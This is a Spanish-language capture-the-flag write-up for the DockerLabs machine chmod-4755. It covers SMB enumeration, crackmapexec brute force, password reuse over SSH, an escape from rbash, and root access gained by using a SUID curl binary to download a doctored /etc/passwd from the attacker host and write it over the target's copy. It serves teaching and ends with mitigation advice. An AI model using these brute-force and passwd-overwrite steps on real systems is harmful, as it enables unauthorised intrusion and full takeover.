chmod-4755
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento detalla la metodología y procedimiento completo para comprometer la máquina chmod-4755, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media.
La resolución sigue un enfoque estructurado de pentesting:
- Reconocimiento: Identificación de servicios expuestos y enumeración de recursos accesibles.
- Explotación: Obtención de acceso inicial mediante fuerza bruta a credenciales SMB y reutilización de contraseñas.
- Escalada de privilegios: Evasión de restricciones de shell y abuso de permisos SUID para alcanzar acceso root.
El entorno de prueba fue desplegado localmente mediante DockerLabs, asegurando un ambiente aislado y controlado.
Información Técnica
Sección titulada «Información Técnica»| Atributo | Valor |
|---|---|
| Nombre | chmod-4755 |
| Autor | d1se0 |
| Dificultad | Medio |
| Fecha | 11/09/2024 |
| Plataforma | DockerLabs |
| IP Objetivo | 172.17.0.2 |
Fase 1 — Despliegue y Configuración
Sección titulada «Fase 1 — Despliegue y Configuración»1.1 Preparación del Entorno
Sección titulada «1.1 Preparación del Entorno»Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:
unzip chmod-4755.zipsudo bash auto_deploy.sh chmod-4755.tar
Figura 1: Dirección IP asignada al contenedor
1.2 Organización del Workspace
Sección titulada «1.2 Organización del Workspace»Creamos una estructura organizada para documentar el proceso:
mkdir -p chmod-4755/{content,exploits,nmap,gobuster,scripts}cd chmod-4755Fase 2 — Reconocimiento
Sección titulada «Fase 2 — Reconocimiento»2.1 Escaneo de Puertos
Sección titulada «2.1 Escaneo de Puertos»Ejecutamos un escaneo TCP SYN para identificar puertos abiertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsResultados:
- 22/tcp — SSH (Secure Shell)
- 139/tcp — NetBIOS Session Service
- 445/tcp — Microsoft-DS (SMB)

Figura 2: Puertos identificados como abiertos
2.2 Análisis de Servicios
Sección titulada «2.2 Análisis de Servicios»Realizamos un escaneo detallado para identificar versiones y configuraciones:
nmap -sCV -p22,139,445 172.17.0.2
Figura 3: Detalle de servicios y versiones
No se identificaron vulnerabilidades explotables directamente en las versiones de los servicios.
2.3 Enumeración SMB
Sección titulada «2.3 Enumeración SMB»Utilizamos enum4linux para obtener información detallada del servicio SMB:
enum4linux -a 172.17.0.2Hallazgos clave:
-
Usuarios identificados:

smbuser(usuario SMB)rabol(usuario de sistema)
-
Recursos compartidos (shares):

share_secret_onlyprint$
Fase 3 — Acceso Inicial
Sección titulada «Fase 3 — Acceso Inicial»3.1 Fuerza Bruta a Credenciales SMB
Sección titulada «3.1 Fuerza Bruta a Credenciales SMB»Utilizamos crackmapexec con el diccionario rockyou.txt para atacar el servicio SMB:
crackmapexec smb 172.17.0.2 -u smbuser -p rockyou.txt
Figura 4: Credenciales válidas obtenidas
Credenciales comprometidas: smbuser:PASSWORD
3.2 Exploración de Recursos Compartidos
Sección titulada «3.2 Exploración de Recursos Compartidos»Accedemos al share share_secret_only:
smbclient //172.17.0.2/share_secret_only -U smbuser%PASSWORD
Figura 5: Archivo de notas encontrado en el share
El archivo contiene solo una nota de recordatorio, sin información sensible.
3.3 De smbuser → rabol
Sección titulada «3.3 De smbuser → rabol»Inspeccionando el share print$, observamos carpetas con nombres de arquitecturas. Esto sugiere que el usuario rabol podría estar utilizando nombres de shares como contraseña.
Probamos la reutilización de credenciales:
ssh rabol@172.17.0.2Contraseña utilizada: share_secret_only (nombre del primer share)

Figura 6: Acceso SSH obtenido mediante reutilización de credenciales
Fase 4 — Escalada de Privilegios
Sección titulada «Fase 4 — Escalada de Privilegios»4.1 De rabol → rabol (shell completa)
Sección titulada «4.1 De rabol → rabol (shell completa)»Al conectarnos, nos encontramos con un rbash (restricted bash). Para obtener una shell interactiva completa:
python3 -c 'import pty;pty.spawn("/bin/bash")'export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin4.2 Enumeración de Permisos
Sección titulada «4.2 Enumeración de Permisos»Verificamos privilegios de sudo y buscamos binarios con permisos SUID:
sudo -lfind / -perm -4000 2>/dev/null
Figura 7: Binarios con bit SUID habilitado
Hallazgo crítico: curl con permisos SUID.
4.3 De rabol → root
Sección titulada «4.3 De rabol → root»El binario curl con SUID permite sobrescribir archivos del sistema como root. Aprovechamos esto para modificar /etc/passwd:
-
Preparación del archivo modificado:
Ventana de terminal # En el atacantecp /etc/passwd .# Eliminar la 'x' de la línea de root para deshabilitar contraseñased -i 's/^root:x:/root::/' passwd -
Servir el archivo malicioso:
Ventana de terminal python3 -m http.server 80 -
Sobrescribir /etc/passwd en el objetivo:
Ventana de terminal curl http://172.17.0.1/passwd -o /etc/passwd

Figura 8: Archivo /etc/passwd sobrescrito exitosamente
4.4 Obtención de Acceso Root
Sección titulada «4.4 Obtención de Acceso Root»Con la contraseña de root eliminada, podemos cambiar directamente a usuario root:
su root
Figura 9: Acceso root obtenido exitosamente
Análisis de Vulnerabilidades
Sección titulada «Análisis de Vulnerabilidades»5.1 Fallos de Seguridad Identificados
Sección titulada «5.1 Fallos de Seguridad Identificados»| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Contraseñas débiles y reutilización | Alta | Acceso inicial al sistema |
| Configuración de SMB expuesta | Media | Enumeración de usuarios y recursos |
Permisos SUID en binario curl | Crítica | Elevación de privilegios a root |
Restricciones de rbash mal implementadas | Media | Facilita evasión de controles |
5.2 Recomendaciones de Mitigación
Sección titulada «5.2 Recomendaciones de Mitigación»-
Gestión de Credenciales:
- Implementar políticas de contraseñas complejas
- Evitar reutilización de credenciales entre servicios
- Utilizar autenticación SSH por clave en lugar de contraseña
-
Configuración de Servicios:
- Restringir acceso anónimo a shares SMB
- Eliminar o auditar recursos compartidos innecesarios
- Implementar listas de control de acceso (ACL)
-
Gestión de Permisos:
- Revisar y eliminar bits SUID innecesarios
- Especialmente en binarios como
curlque permiten escritura - Implementar principio de mínimo privilegio
-
Hardening del Sistema:
- Configurar correctamente
rbasho utilizar alternativas más seguras - Monitorear modificaciones en archivos críticos como
/etc/passwd - Implementar sistemas de detección de intrusiones (IDS)
- Configurar correctamente